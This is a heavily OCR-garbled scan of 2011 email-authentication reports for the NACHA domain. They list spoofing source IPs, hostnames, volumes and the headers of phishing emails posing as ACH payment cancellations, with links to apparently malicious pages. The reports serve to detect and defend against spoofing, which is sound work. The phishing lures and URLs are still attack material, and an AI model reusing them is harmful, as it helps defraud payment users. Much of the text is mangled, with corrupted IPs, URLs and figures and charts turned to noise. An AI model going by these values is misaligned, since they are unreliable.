<4FC25371.606050@nacha.org>
hm)://dialog-translzati0|1s.com/cpqim:ina;‘»axJnml
[American_superbabes] Your ACH transaction

“The Eloctronic Payments Assoclation” <payments@nacha.org>
<4E(26F7C.407060@nacha.org>
ptep:/fpanteleon.de/hdggwvindex. himl

[SPAM:##H#] ACH Transfer canceled

“The Electronic Payments Association” <transfers @nacha.org>

<26266_1321602806_4ECE0EF6_26266_2336_1_4EC60D77.606080@nacha.org>

[SPAM:##H#] ACH payment canceled
“The Electronic Payments Assoclation® <Info@nacha.org>

<15758_1321602661_4ECBOF20_16758_12753_27_4EC60D79.502070@nacha.org>

[SPAM:#H]) ACH payment rejected
“The Electronic Payments Association” <payment@nacha.org>

<15986_1321603640_4EC61241_15986_11631_1 7_4ECB0D07.903070@nacha.org>

<<i_n_s_d>> [FG] Rejected ACH transfer
payment@nacha.org
<4EC4CEDE.705020@nacha. org>

http:/docs . yahoo.cormiinfolterms/

ntip:itgen.yahoo. com/isen?s=073597 14/gpld=1 SORGRET/grpspld= 17050637¢
htip/iglobal ard. yahoo. com/SIG=1 Sol28niaM=493N64. 145430879.14562481.
hup/igroups.yahoo.con/;_ylemX3sDMTHYNNZ BWNMBFITAZRINDGZNTwE
hitp: figroups. yahoo.comigraup/hol_n s picy_dethi

<<h_n_s_d>> ACH transfer rejected

“The Electronic Payments Association® <alerts@nacha.org>
<4EC25374.606050@nacha,org>

hitp://dialog-translations, cam/fcpeg Zrafindex bt
[public_nudity_exhibitionists] Your ACH transaction

payment@nacha.org

<4 C4C505.107010@nacha. org>

hitp:Hdocs. yahoo.comiinfolterms/

Pltp:ffgeo.y ahoo. com/ser/?s=87356871 4yrpld=1531846/gmspld= 1705083764
hitp:Hglobal ard.yahoo.com/SIG~1 Brogukdo/M=443064.14543079. 14862481
htip/igroups.yahao.com/;_yl 6= X30DM TIkb2lpc 2UBFYTAZKINDC2NTRWB Gt
http: S groups.yahoo.comfgroup/ public_puclity_exhibitionista/raembers, ylo=y

Copyright 2011, Agarl Data, inc. Alt rights reserved,



64.18.2.207 ' No message detalls available.
216.180.161.44  No message details available.

Copyright 2011, Agart Data, inc. Alt rights roserved.



ﬂ fl‘rustz(;'l,Reglstry

NACHA — nacha.org Domain Summary Report for 2011-11-06 — 2011-1 112

This report Identifies verification anomalies either duse to spoofed messages or Infrastructure-related issues such as senvers missing from your SPF record,
identity mismatches, or servers not DKIM signing.

Scorecard
SPF. A
DKIM: No signing
Verification Rates by Date
3M o
y M
i
kel
O
oM
- L .
1y (\\b 4 SQ/\ \Q?) \QO’ ! 3 \’\i 3 0
of o o o o8 R ‘\o*‘
B8 srF Fall, DKIM Fail SPF Fail, DKIM Pass
(7] SPF Pass, DKIM Fall {71 sPF Pass, DKIM Pass
Top 20 IP Addresses by Double-Fail Rate
213.165.182.53 B8 . 5 TE— ; : ;
46,245, 160,5 ISR ;
216.18,240,35 M : ; '
54,203.112.58 WSamswRwe; i ;;
£2,141.13,75 - . : : | g
74.125,140,39 W : ; H : :
4,125, 149.40 wel i :
74.125,245,57 wew ; ; ’
74.125.245 58 : : ! !
212.175.165.37% e f :
216,18%.161.44 w ; ; . ;
203,196,47.34 s : ; :
216.110,253.201 =& : : |
207.126,144.95 #& ; : i |
78.109,151.146 & : i:
§2.144,21.82 ¥ ! } ! ; ; !
210.141.61,70 % ! ! § i ;
95.47,17.250 * : : : ; |
64.18.1.174 X ; i ; : E . ) ; ;
§7,236,134.91 ¥ : H | ! : ! ;
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Top 20 IP Addresses by Double-Fail Rate

Host
213.165.182.53
46.245.160.5
216.18.240.35
64.203.112.58
82.141.13.75
74.125.149.39
74.125.149.40
74.125.245.57
74.125.245,58
212,175.165.33
216.189.161.44
203.196.47,34
216.110.253.201
207.126.144.95
78.109.161.148
82.144.21.,82
210.141.61.70
95.87.17.250
64.18.1.174
B87.236.134.91

DNS Name

mail.ffuassallo.com

mail.netcen.nl
wabmail.microdsionsine.com
static-64-203-112-58.ded, unwiredbb.net
mail.iscgroup. eu
nadsys008amo105.postini.com
ra3sys008amo106.postinl.com
nadsys010amh101.postini.com
na3sys010amh102.postini.com

mail2. regaltarealestate.com

colocate. static.216.110.253.201.wightman.ca .

eulsys200amo101.postini.con
manchesteremall.co.uk
REMOTO2 AZNARINNOVA.COM
ngn-west-5770.enjoy.ne.jp
085-097-017-250.static.chello.nl
exprodbmo105. postint.com
host-87-236-134-91,2i3.net

Subject Lines and Headers of Failing Messages

Host
213,165.182.53
46.245.160.5
216.18.240.35
64,203.112.58
82,141.13.75
74.125.148.39
74,125.1438.40
74,125.245.57
74.125.245.58

. 212.175.165.33

© 216.189.161.44
203.196,47.34
216.110.253.201
207.126.144.95
78.109.161.146
82,144.21.82

210.141.61.70

Headers

No message datalls available.
No message details available.
No message details available.
No message details available,
No message delails available.

" No message details available,
. No message details availabls.

No message details available.

! No message details available.

No message dslails available.

. No message delails availables.

No messago details available.
No message details available.

. No message details available.

No message details available.
Subject: ACH Transfer canceled

SBRS

2.3
2.9
2.9
2.9

1.3

-4.0
7.1
4.0
2.3
~6.6

Country

Malta (MT)

Turkey (TR}

United States (US)
United States (US)

© Germany (DE)

United States (US)
United States {US)
United States {US)
United States (US)
Turkey (TR)

United States (US)
Australia (AU}

¢ Canada (CA)
¢ United States (US) ¢
¢ United Kingdom (GB)

Spain (EB)
Japan (JP)

I Nethedands (NL)

United States (US) !
United Kingdom (GB) |

From: “The Electronic Payments Assaciation” <ach@nacha.org>

Message ID: <4EBBBAD7,104080@nacha.org>

URLS! htipe/ralz-algerie, camdihuiuep/index titml

Subject: ACH Transfer canceled

From: “The Electronic Payments Association” <ach@nacha.org>

Message ID; <4EBBA695.204020@nacha.org>

URLS: pitp://hoseherini.com. co/7m3cawlindex. htrmi

Subject; ACH Transfer canceled

From: "The Electronic Payments Association” <ach@nacha.org>

Message ID: <4EBBBACC.809080@nacha.org>

URLS: httpi/fhlog. framingangine.com/hcobs)6/index.hirml

Subject: ACH Transfer canceled

From: "The Electronic Payments Association” <alerts@nacha.org>

Message iD; <4EBBAEG6C.803090@nacha.org>

Subject: ACH Transfer canceled

From; “The Electronic Payments Assoclation” <ach@nacha.org>

Message ID; <4EBBBSF(,600070@nacha.org>
URLS! pitp:/fooccherini. com.coleihBidefindex. htrrl

Volume

¢ 243,252

55,253
32,344
31,539
15,804
12,608
11,444
10,904
10,413
8,242
8,089
7,751
6,793
4,849
4,420
4,857
3,723
3,667
3,018
2,862

Copyright 2011, Authentication Metrics, Inc. All rights reserved.



Subject: ACH Transfér canceled
Erom: “The Flectronic Payments Assoclation” <ach@nacha.org>
Message 1D <AEBBSEFT.803070@nacha.org>
URLSE: g #bontarto.be/nbliyyaindex tml

95,97.17.280 Subject: ACH Transfer canceled
From: “The Electronie Payments Assoclation” <achii@nacha.org>
Massago ID; <4EBBBIFI.406070@nache.ong>
URLS: ppeishizvhe. comipgyadafindee himt

Subject: ACH Transfar cancelod
From: "The Electronic Payments Assoclation” <ach@nacha.org>
Message ID: <4EBBBYF3.708050@nacha.org>
URLS: ntipafimdiessl.comfkibhz/indeg faml

Subject; ACH Transfer canceled
From: "The Electronle Payments Asseclation” <ach@nacha.org>
Mossage 103 <4EBBEIF3,204060@nacha.org>
URLS: jtpe/imoodaitrading comihgs dRtindax. i

64.18,1.174 No message details available,

87.236.134.91 Subject: ACH Transfer canceled
From: “The Electronic Payments Association” <ach@nacha.org>
Message 10 <1EBBSTCA,208070@nacha.org>
URLS: niriibocohering com.colaffiilaindes. il
Subject: ACH Transfer canceled
From: “The Electronic Payments Association” <ach@nocha,org>
Message 10y <4EBBOTCA.504040@nacha.ong>
URLS: pilp:/honuscotes-party, comfhixtdvioder. him!
Sublect: ACH Transfer cancelad
Frons: “The Electronie Paymants Assoclation” <ach@nacha.org>
Message 1D: <4EBBBAD1T.305080@nacha.org>
URLs pgwdiblazebriquaties. com/Obwdyindex hunt

Copyright 2011, Authentication Matrics, Inc. All rights reserved.



Authentication Metrics, Inc.

vA\ Trusted Registry

NACHA — nacha.org Domain Summary Report for 2011-11-06 ~ 2011-11-12

This report identifies verificatlon anomalies either due to spoofed messages of infrastructure-related issues such as servers missing from your SPF record,

Identity mismatches, or servers not DKIM signing.
Scorecard

SPF. A
DKIM: No signing

Verification Rates by Date

Measnge Valuneg

88 spF Fall, DIOM Fail } SPF Fail, DKIM Pass
() SPF Pass, DKIM Fail [ SPF Pass, DKIM Pass

aM
@ 2M
E
2
£
S
"o g $ >
& © & « 3
8 spr Fail, DKIM Fai SBF Fail, DKIM Pass
(") sPF Pass, DKIM Fail SPF Pass, DKIM Pass
Top 20 IP Addresses by Double-Fail Rate
213.165.182.53 2 pu
46.245.160.5 . ; :
216,18.240.35 peseowss i ;
64.203.112,58 eammsRg i ! ; . :
82,141.13,75 Wesaw ; f : :
74.125,149.39 S : | : : ' {
12514940 6 : v ; :
2524557 wewt i i ; . : ‘
74.125.245.5% ; ! { ‘
212.175.165.33 B8 :
216.189.163,44 W : ! ! ' ’
205.196.47.34 8 ‘ : !
216,010,253,201 @& ‘ : : :
267.126,144,95 W : ; !
78,109.161.145 ® : i ! ! : .
82.144.21.82 ® H . : . { : : :
210,141,61.70 8 § ; : | : : ‘
95.97.17.250 % i : 3 i i E %
6,181,174 X : | : I ; !
87.236.134.91 % i i . ‘ : : :
ok 25k 8Ok 7S5k 100k 125k 150k 175k R00k 225k 250k 275k
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Top 20 1P Addresses by Double-Fail Rate

Host
213.165.182.53
46.245,160.5
216.18,240.35
64,203.112.58
82.141.13.75
74.125.149.39
74.125.149.40
74.125.245.57
74.125.245,58
212.175.165.33
216.189,161.44
203.106.47.34
216.110.253.201
207.126.144.95
78.109.161.146
82.144,21.82
240.141.61.70
95.67.17.250
64.18.1.174
87.236,134.91

DNS Name SBRS  Country Volume
mail.fjvassallo.com Malta (MT) 243,252
mait.netcen.nt Turkey (TR} 55,253
webmail, microMsionsinc.com * United States (US) 32,344
static-64-203-112-58.ded unwiredbb.net - United States us) 31,539
mail.iscgroup e Germany {DE) 15,904
naSsysOOQamo’tOS.postini_com 2.3 United States {US) 12,808
naldsys009amo1t 08.postini.com 2.8 United States (US) 11,444
nadsys010amhi01.postini.com 2.9, United States (US) 10,904
naSsysO‘lOamhiOZpostinLcom 2.8 United States (US) 10,413
Turkey (TR} 9,242

mail2.regattarcalestate.com United States (US) 8,089
. Australia (AU) 7,751

cc\ocate.s(aticzm,"10.253.201.wightman‘ca i Canada (CA) 6,793
eu1sy520()am010ﬁ.postini.com 1.3 United States {US) 4,949
manchesteremail.co.uk ¢ United Kingdom [GBY 4,820
REMOTOZ AZNARINNOVA.COM -4.0 Spain (ES) 4,557
ngn‘wasbS’i?O‘enjoy.ne,jp 7. Japan (P) 3,723
005-097-017-250.static.chello.ni 4.0 Netherands (NL} 3,687
exprodBmo106,postini.com 2.3 United States (UB) 3,018
host-87-236-134-91,2i3.net -5.6 Uniled Kingdom (GB} 2,662

Subject Lines and Headers of Failing Messages

Host
243.165,182.53
46,245.160.5
246,18.240.35
64.203.112.58
82.141.13.75
74.125.148.39
74.425.149.40
74.125,245.57
74.125.245.58
212.175.165.33
216.189.161.44
203.196.47.34
246.110.253.201
207.126.144.95
78.109.161.146
82.144,21.82

210.141.61.70

Headers
No mesaage details available.
No message details available.
No message dotails available.
No message details available.
No message details avaflable.
No message details available.
No message dotails available.
No message details available.
No message details available.
No message details availahle.
No message dotails availahle.
No message details availablo,
No message deltails available.
No message details available.
No message details available.
Subject:
From:
Message 1D:
URLs:

ACH Transfer canceled

<4EBBSAD7.104080@nacha.org>
hetpriiz-algerie, carmihuincp/index.

Subject: ACH Transfer canceled
From:
Message 1Dt

URLs:

<4ERBEBYS5.204020@nacha. org>

Subject: ACH Transfer canceled
From:
Messags 1Dt

URLs:

<4ERBSACC.908080@nacha.org>
h\tp:/lbiog.fmmingengine.com!moSst/

Subject: ACH Transfer canceled
From:

Message 10t
Subject:
From:
Message D!
URLs:

<4EBBAEGC,803090@nacha.org>

ACH Transfer canceled
*“The Electronic Payments Association’
<AERBBAF0.608070@nacha.org>

Copyright 2011, Authenticati

"The Electronic Payments Association” <ach@nacha.org>

A

*The Electronic Payments Association” <ach@nacha.org>

pitpi/iboccherint. con. colTm3oewiindex.himl

"The Electronic Payments Assoctation” <ach@nacha.org>

index. himl

"The Electronic Payments Association® <alerts@nacha.org>

' <ach@nacha.org>

htm:/iboccheﬁni,com‘chth\Oe/!ndex.htmt

on Matrles, inc. All rights reserved.



Subject: ACH Transfer canceled
From: "The Flectronle Payments Association” <ash@unachaorg>
Message 1D <4EBBSYFO.B03070@nacha,org»

URLS! fyip:ihenfio.bafmblyyadindex bt

$5.97.17.250 Subject: ACH Transfer cancelad
From: “The Electronic Payments Assoclation” <ach@nacha.org>
Massage 10; <4EBBBIF3.406070@nacha.org>
URLS: pipuimizdbescomipgyadafinde. i

Subject: ACH Transfar canceled
Fram: "The Elsctroric Paymenis Association” <ach@nacha.org>
Messzge 1D: <4ERBBIF3.708080@nacha.org>
URLS! piipufinndinsel comfieibhuingos. hnd
Subject; AGH Transter canceled
From: "The Electronic Payments Assoclation” <ach@nacha.orig>
Message 1D: <4EBBBAF3.204060@nachs.org>
URLS! pypyfboadaitiading comfhgsdlivindex Jitn

64.18.1,174 No message delails available.

87.236.134.91 Subject: AGH Transfer canceled
From: "The Electronic Payments Association” <ach@nacha.ong>
Message 1D; <AEBRYTCA.208070@nacha. org>
URLS: niipibocchainh.com corcjhblelindes ind
Subject: ACH Transfer canceled
From: "The Efectronic Payments Association” <ach@nacha.org>
Message 1D; <AEBBITCA.BO4040@nachs.ong>
URLS: mitpefbanuscodes-party. comfixtasindex el
Subject; ACH Transfer canceled

From: “The Electronic Payments Assolation” <ach@nacha.org>
Maossage D! <4EBBBADL.305080@nacha.org>

URLS: pitpe/iblazatiinuetias, con/Bhbweygfindax himl

Copyright 2011, Authentication Metries, Inc. All rights reserved.



Authentication Metrics, Inc,

WA\ Trusted Registry

NACHA — nacha.org Domain Summary Report for 2011-10-30 - 2011-11-05

This report Identifies verification anomalies sither due to spoofed messages or infrastructure-related issues such as servers missing from your 8PF record,
identity mismatches, or seners not DKIM signing.

Scorecard

SPF A
DKIM: No signing

Verification Rates by Date

10M
@
£ .
3 sM
g
¥
M [re— J—
ort o g N\ N o
X o3 ] ey Y
o «© & o o

B SPF Fail, DKIM Fail 1 SPF Fail, DKIM Pass
(] sPF Pass, DKIM Fall 5] SPF Pass, DKIM Pass

Top 20 IP Addresses by Double-Fall Rate

213 165.482.5°
74,128.149.3
74,125.149,40
74,128,245.57
TA128,245 .58
77.68.52.19
46,245,160,5 BIESRuDNmLRE
216.18.2401.35  IITEUIOTIUINENS
216.110,253.201 W
207,126, 144,05  Semmmsy
£4,703,112.58 SREnmmRg ! : ‘ ;
207.126.144.96 S :
190,121,228,50 SR | : i
B2,141.13,75 SRamEs | ’
64.18,2.207 seeas
64.18.2,208 Rk
74,113,156.28 mes

f

wa

o

208,105,138.38

216.185,161.44

212.175.165.33 1 . H : ’

0k 28k 30Kk 75k 100k 125k 150K 175k 200k 225k 250k
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i

1 SPF Fall, DKIM Pass

SPF Fall, DKIM Fall
= T SPF pass, DKIM Pasgs

[7) sp¥ pass, DKIM Fail
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Top 20 IP Addresses by Double-Fail Rate

Hast
213.165.182.53
74.125.148.38
74.125,148.40
74,125.245,57
74.125.245.58
77.68.52.19
46.245,160.5
216.18.240.35
216,110.253.201
207.126.144.95
64.203,112.58
207.126.144.96
190.121.228.99
B2,141.13.75
64,18,2.207
64,18.2.208
74.113.156.28
208,105.138.35
216.189.161.44
212.175.185.33

Subject Lines and Headers of Failing Messages

Host
213,165.182.53
74.125.149.39
74.125.148.40
74.125.245.57
74.125,245.58
77.68.52.18
46,245.160.5
216.18.240.35
216.110.253.201
207.126.144.95
64,203.112.58
207.126,144.96
190.121.228.88
82.141,13.75
64.18.2.207
64.18.2.208
74.113.156.28
208.105.138.35
216.189.161.44
212,175.185.33

DNS Name

mail.frassallo.com
na3sys008amo105.postini.com
nadsys008amo108.postini.com
nadsys010amhi01.postinl.com
na3dsys010amh102.postinl.com

server? 7-68-52-18. live-servers .naet

mail.netcen.n
wabmall. microvsionsinc.com

colocate.static.216.110.253.201. wightman.ca

eulsys200amo10Q1.postinl.com

static-64-203-112-58,ded.unwiredbb.nat

eu1sys200amo102.postini.com
mall jeantex.com.ve
mail.iscgroup.eu
axprodTmo108.postinl.com
exprod7mo106.postin.com
mail.slappey.net
mail.techvalleyit.com
maii2.regattarealestate.com

Headers

No message details avallable,
¢ No message dotails available.
" No message details available.

No message detalls available.

No message details available.

No message details available.

No message details available.

No message details available.

No messago details available.
- No message detalls available.
i No message details avallable.
 No messayge details available.
No message details available,
No message detalls available.
No message details available.
No message details available.
Mo message details available.
No message detalls avallable.
No message details aveilable.
i No message details avallable.

Copyright 2011, Authentication Metrics, Inc. Alf rights reserved.

SBRS

2.3
2.8
2.9
2.9
0.5

2.9

3.9

3.5
3.3

Country
Malta {(MT}
United States (US)

. United States (US}
* United States (US)

Unlted States (US)

" United Kingdom (GB)
" Turkey (TR)

United States (US)
Canada (CA)
United States (US)

. United States (US)

United States (US)

Bolivarian Republic of Venezuela (VE)

Germany (DE)
United States (US)

‘ United States (US)
. United States (US)
* United States (US)
~ United States (US)

Turkey (TR)

Volume
215,186
127,802

bo112,671

87,144
71,705
47,729
45,105
43,742
43,346
28,210
28,402
25,929
24,112
23,778
15,828
14,300
10,833

9,512

8,377

7,802



Authentication Metrics, Inc.
WA\ Trusted Registry

NACHA — nacha.org Domain Summary Report for 2011-10-23 - 2011-10-29

This report identifies verification anomalies sither due to spoofed messages of infrastructure-related issues such as servers missing from your SPF record,
identity mismatches, or servers not DKIM signing.

Scorecard

SPF: F
OKIM: No signing

Verification Rates by Date
20M

Yolume
>
=

S < ( B :
o R N A i
e & & g &
[§) o &) o) (%)

SPF Fail, DKIM Pass
SPF Pass, DKIM Pass

213.365.182.53
74,125.245.57
?4,1285.149,40
74,125.149,39

190.121,228.99 &
74.125.245.58
46.245%.160.5
216,18.240.35
207.126.144.9%
64,203,115

64.18,2.207
64.18.2,208
190.12.22.60
64,70,19,28
78,109.161.146
98.136.45.35
119.226,131.82
82.141.13.75

¢

i
‘ , | ; ; :
50k 100k 150k 200k 250k 300k 350k
Message Volume

SPF Fail, DKIM Pass

89 spr Fall, DKIM Fail
SPF Pass, DKIM Pass

{1 SPF Pass, DKIM Fall

Copyright 2011, Authentication Matrics, Inc. All rights reserved.



Top 20 IP Addresses by Double-Fail Rate

Host
213.165.182.53
74,125,245.57
74.125.149.40
74.125.149.38
180.121.228.99
74.126.245.58
46,245.160.5
216,18,240.35
207.126.144.85
64.203.112.58
77.68.52.19
207,126.144.96
64,18.2.207
64.18.2.208
190.12.22.60
64,70.19.29
78.109.161.146
08.136.45.35
119.226.131.82
82,141,13.75

DNS Name SBRS  Counlry

mail fvassallo.com Malta (MT)
nadsys010amh101.postini.com 2.8 Unlied States (US)
na3sys008amo1086.postini.com 2.9 United States (US)
na3sys009amo105.postini.com 2.3 United States (US)
mail.jeantex.com.ve Bolivarian Republic of Venezuela {(VE)
na3dsysiDamh102.postini.com 2.8 United States (US)
mail.netcen.ni Turkey (TR)
webmail.microvslonsinc.com United States (US)
eutsys200amot0i postini.com 2.5 ; United States (US)
static-64-203-112-58.ded.unwiredbb.net * United States (US)
sener77-68-52-19 live-servwers.net . United Kingdom (GB)
euisys200amo102.postini.com 4.3 United States (US)
exprod7mo105.postini.com 3.3 ., United States (US)
exprod7mo108.postini.com ' 2.3 United States (US)
corp-190-12-22-60-uio.puntonet.ec -10.0 . Ecuador (EC)
maliretay.28.webslie.ws 0.6 United States (US)
manchesteremail.co.uk United Kingdom (GB)
nB2k.bultet. mail. spt.yahoo.com 3.0 | United States (US)
segment-119-226.sify.net -10.0 { indla {IN) '
mail.iscgroup.eu ' Garmany (OF)

Subject Lines and Headers of Failing Messages

Host
213.165.182.53
74,125.245.57
74.125.148.40
74.425,140.39
180.121.228.98 .
74,125.245.58
46.245.160.5
216,18.240.35
207.126.144.95 :
64.203.112.58
77.68.52.19
207.126.144.96
64.18.2.207
64.18.2.208
190.12.22.60

64.70.19.29

Headers

No message delails available.
No mossags details available.
No message detalls available.
No massage details available.
No message details available.
No message details available.

" No massage details available.
. No message detuils available.

No message details available.

© No message details available.

No message vstalls available.
No message details available.
No message details available.

© No message details available.

Subject: ACH Payment 0127256 Canhceled
From: *account managet” <account. manager@nacha.org>
Message (D <000e01cch169$e221d680$3¢160cbe@nacha.org>
URLS: nttp:ifouisereizen.sulgijiitfindex. himl
netp:fnacha.argirepor/B27 21488/ etailis.php?n=4906
Subject: ACH Payment 0120818 Canceled
From: "account manager” <account. manager@nacha. org>
Message 1D: <000e01cc5t ed$da330400$3c160che@nacha.org>
URLs: http://ip-208-l109«125~1Sa.ip.secureserver,cmtl~~~thccm1fe/dik?nizftndex.html
http/inacha.orglrepont/8216481 Bidetailis, php?n=8741
Subject: ACH Payment 0105634 Cancelsd
From: *account manager' <aceount. manager@nacha.org>
Message 10: <000e01cc51a58561c1a28083¢160che@nacha,org>
URLs: http:i/tem!eide“:signss.mm/!o2z®4/index.html
h\tp:i:‘naxcha.c;rg.}freport/zi%39()‘,8381:;:&%51%1%5,(m;:f?n=292{~3
Subject: ACH Payment 7496343 Canceled

From: "senice manager’ <genice, manager@nacha.org>
Message Dt <000601cc51a5$91d6a600$eed 27bdc@nacha.org>

URLs: m'sp://c;ran&».rto,th/pc.B‘x&)j/irzr.‘,ex,mml

Copyright 2011, Authentication Matrics, Inc. All rights reserved.

Votume
329,667
114,719
110,792
101,263
73,634
72,961
62,679
36,553
33,890
33,888
32,352
30,904
20,729
18,754
18,734
18,055
17,144
16,572
15,571
15,088



hotos 3074
sphp =374

hitpcffoacha. orgirepait 31202548 ety
hetpe/nacha. orgdrepord/ 31202545/ datal

Subject: ACH Payment 9854805 Canceled
From: “sendce manager <senice manager@nacha.org>
Message ID: <000e01ce51ac$4625aa00850597cde@nacha.org>
URLS! piip:Aricardtoch, comiQeks Hindex.himl

htip/inacha.org/report! 5625084 5/ delailis hpy? b R36

hitpi/inache. orgireport/5a2 60045 detallis, php?n=5836

Subject: ACH Payment 0105012 Canceled

From: “account manager" <account.manager@nacha.org>
Message 1D: <000801cc5323%beth42005618244b2@nacha.org>

URLS! ity /imeursal.comiTrjdBalindex.hitml

hitgn/inaches orgfreport/ 24 183070/ detailis . php?ns

Ftip i nacha. orgl/reporf 2418307 Cidetatis php?s

78.109.161.146  No message details available.
98,136.45.35 Subject: <<h_n_s_d>> ACH transaction canceled

From: transfers@nacha.org
Message 1D: <0C49861 AATECD2AB2852CIB0B4FADBS 1 @pbirerhpirhugpfikxapcagea.speoliege. edus

URLE: juip:/famencandarts madrid conisquinelseramble/mdax himi
nttp:/ldocs. yahoo.comiinfolterms/
bt/ fgeo. yahoo. com/senv?s=973597 {4/gmid=1803925 ?Jgrpspld=17060837¢
hitp:/gtobal. ard.yahoo, com/SIG= 15ogscOmk/M=493084.1 4543979, 1456248
nttpulgroups. yahoo.com/;_yle=X3oDMTUlc2Fy YWH2ZR FOTAZKINDc2NTwB(

Subject: <<i_n_s_d>> Your ACH transaction
From; info@nacha.org
Message [D: <4696562966,5KP3MF52361918@zthrb.heudybzm.com>

URLs: hitpi#/docs, yahoo.comdanfo/terms/
hitp:/fgeo,yahoo, com/sen? s= 973507 14/gmld= 18039257 grosplt=17050837€
htp:Hglobal. ard.yahco.com/SIG= 1haefkbifiv=493064.1 4543479.14562481.1
http:i/g:’ou;‘ss\yahooL()m/;ﬂyle&oDMTJIb)\’J\OM2QWBFQYA2k3NDU2NTkw8
ttpfgroups. yahoo.cormfgroup/bot_b_spl oy delld
Subject: <<h_n_s_d>> Rejected ACH transaction

From: payments@nacha.org
' Message (D: <B754256469. MNGS3WLMA17546@zrudhlkkwauzps. stpajromexinu.com>

URLS! pypi/idocs.yahoo.comfinfolterms!
htpfigeo.yahoo.comlsen?s=a73569714/gmid=1 039257 grpspld=170H0837¢€
Fiip:fglobal.ard.yahoo, com/SIG=1508hd9u t/M=4 03064, 14543979,1456244 %
hitp:/fyroups.yahoo.com/;_ylo=X30DMTIY M1 eOIZBFOTAZKSNDE2ZNTRwWB G

119.226.131.82 Subject: Your ACH transaction N308703561
From: "ACH Nelwork" <tech@nacha.org>
Message [D: «08080009092CBEE 90925842CBDATEFFF @HmMsGY 3uFJ=>

URLS: hup:/icoliegdsportsdirect.info/main.php
subject: Your ACH transaction N724468720

From: “Automated Cleating House® <ach-network@nacha.org>
© Mossage D! <7416689171.20111025182116@gcconstruction.net>

URLS! hitp:/faussicupld.info/main. php

Subject: ACH transaction cancelled
From: “ACH Network® <payments @nacha.org>
Message ID: <Be2f01c¢934b810501000$52836277T@E NGRngCIZCMONNIE>

URLS! jyip:ibusinesshewsdsily.infolmain,php

82.141.43.75  No message delails available.

Copyright 2011, Authenticatlon Metrios, Inc. All fights reserved.



Authenticatlon Metrics, inc.
)A‘( Trusted Registry

NACHA — nacha.org Domain Summary Report for 2011-10-16 - 2011-10-22

This report Identifies verification anomalies either due to spoofed messages or infrastructure-related Issues such as seners missing from your SPF record,
jdentity mismatches, or servers not DKIM signing.

Scorecard

SPF. A
DKiM: No signing

verification Rates by Date

15M
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.. . . J
Top 20 IP Addresses by Double-Fail Rate
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1a0.121,228.99 , ; : : :
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46.245,1.60.5 i i i ] i
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Top 20 IP Addresses by Double-Fall Rate

Host
213.185.162.53
190.121.228.99
74.125,149.39
46,245.160.5
74.125,149.40
216.18.240.35
74.125.245.57
74.125,245.58
64.203.112.58
213.55.104.244
222.124.198.172
216.188.161.44
171.67.219.80
78.108.161.146
83,229.48.222
§7.23.181,52
207.126.144.85
91.200.216.204
190.12.22.60
203.144.13.168

Subject Lines and Headers of Failing Messages

Host
213.165.182.83
190.121,228.99
74.125.149.39
46.245,160.5
74,125.148.40
216.18.240.35
74.125,245.57
74.125.245.58
64,203.112.58
213.55.104.244

222.124.198.172

DNS Name SBRS  Country Volume
mail.fvassallo,com Malta (MT) 243,770
mall.jeantex.com.w Bolivarian Republic of Venezuela (VE) 70,567
nadsys00%amo105.postini.com 2.3 United States (US) 66,482
mail.netcen.nl Turkey (TR) 64,185
nadsys00%amo106.postini.com 2.8 United States (US) 63,532
webmall.rnfcrovsionsine.com Unlted States (US} 50,715
nadsys¢it0amhi0t.postinl.com 29 Unlted States (US) 46,318
haldsys010amh102.postinl.com 2.9 United States (US) 45,131
static-64-203-112-68.ded. unwiredbb.net United States (US) 29,008
-10.0  Ethigpia (ET) 28,116

-10.0 Indonesia (ID) 22,347

mail2.regaitarealestate.com * United States (US) 17,081
smitp~grey. Stanford. EOU “1.0  United States (US) 15,356
manchesteremail, co.uk - United Kingdom (GB) 14,795
~10.0  United Kingdom (GB) 14,775

United States (US) 14,752

eu1sys200amo101.postink.com 2.9 United States (US) 14,507
10,0 Russia (RU) 13,548

corp-180-12-22-80-uio. puntonet.ec -10.0  Eeuador (EC) 13,172
mail.wingsotutions, corr. au Australia (AU) 11,878

Headers

No message details available.
No message details avaifable.
No message delails available,
No message details availabile.
No message dotails avallable.
No messgage details avaitable,
No message dstalls available.
No message details available.
No message detalls avallable,

Subject: ACH Payment 0103052 Canceled

From:
Message [Dr
URLs:

Subject:
From:
Message [D:
URLs:

Subject:
From:
Message 1D:
URLs:

Subject:
From:
Message (I
URLs:

Subject:
From:
Message 1Dt
URLs:

"account manager” <account.manager@nacha.org>
<000e010c5223304841600$M46837d5@nacha.org>

hipinact His, phn o

ACH Payment 0103058 Canceled
"acoount manager’ <sccount.manager@nacha.org>
<000e01ccB357$618008808f46837d5@nacha. org>

nttpiwvww. kadamsphoto. comtbezfm, html

hitpinachs. crofreport/ 8450658 alfig.pbtes

ACH Payment 0101898 Canceled

"gecount manager’ <account.manager@nacha.org>
<000801cc81e0$02529500$/46837d5@nacha. org>
httpfhwaaw Joscada.orglelvo. himl

nhipiinacha. orglrepont BOTRBEISetallis . phe = 8168
ACH Payment 0141056 Canceled

*account manager <account.manager@nacha,org>
<000e01cc51b1$51c78f80$b2e6 7cde@nacha. arg
Httpc/Mesxstare, defra T himl

i

yi/inacha. argfrepar/ BB5E 16T detal

ACH Payment 0145658 Canceled
“account manager” <account.manager@nacha,org>
<000e01cchb1a18d14d72808b2¢67cde@nacha.org>

hitpuflainformacion. usésakikT.htmi

Copyright 2011, Authentication Metrics, Inc. Al rights reserved,



st nanha orghrannd/BRER3060 detailis. pt wlom270%

Subject: ACH Payment 0123676 Canceled
From: “account manager’ <account.manager@@nacha.org>
Message (D: <000s01cc51h1$3a88b2008b2c67 cded@nacha. org>

URLS: ity /110,44 2. 530941 hint
N v Pa. Legfrenon, G87 2HGEB detailis pha = BOIE
216,189.161.44 No message details availabile.
171.67.219.80 Subject: ACH Payment 0141476 Canceled

From: “account manager” <ascount.manager@nacha.cig»
Message (D: <000e01cc51b0EER0dO00S T 5d 1 14 2e@@nacha. org>
URLS! fiitp /fkadidesign.o

srn/dpBow? il

R G RGN

ety

Subject: AGH Payment 9686901 Canceled
From: “ascount manager” <account. manager@nacha.org>
Message 1D; <000e01cebt Ye$eib5a380865abe3be@nacha.org>
URLS! hytp:/fwww.littiefire. in/mOdpG.hival

D ATRCha. ol

Subject: ACH Payment 3874385 Canceled
From: “sccount manager™ <accourt.marager@nacha.oigs

My
78,109.161.146 No massage detalls available.

83.229.48.222 Subject; ACH Payment 0107080 Carceled
From: "account manager® <accounl.manager@nacha,org>
Message 1D <(00e01ces1a6584650b005de30eb5b3@nacha.org>
URLS. Wi/ iiv-boeres.conifargy 5. hemt

aftn feashe.on

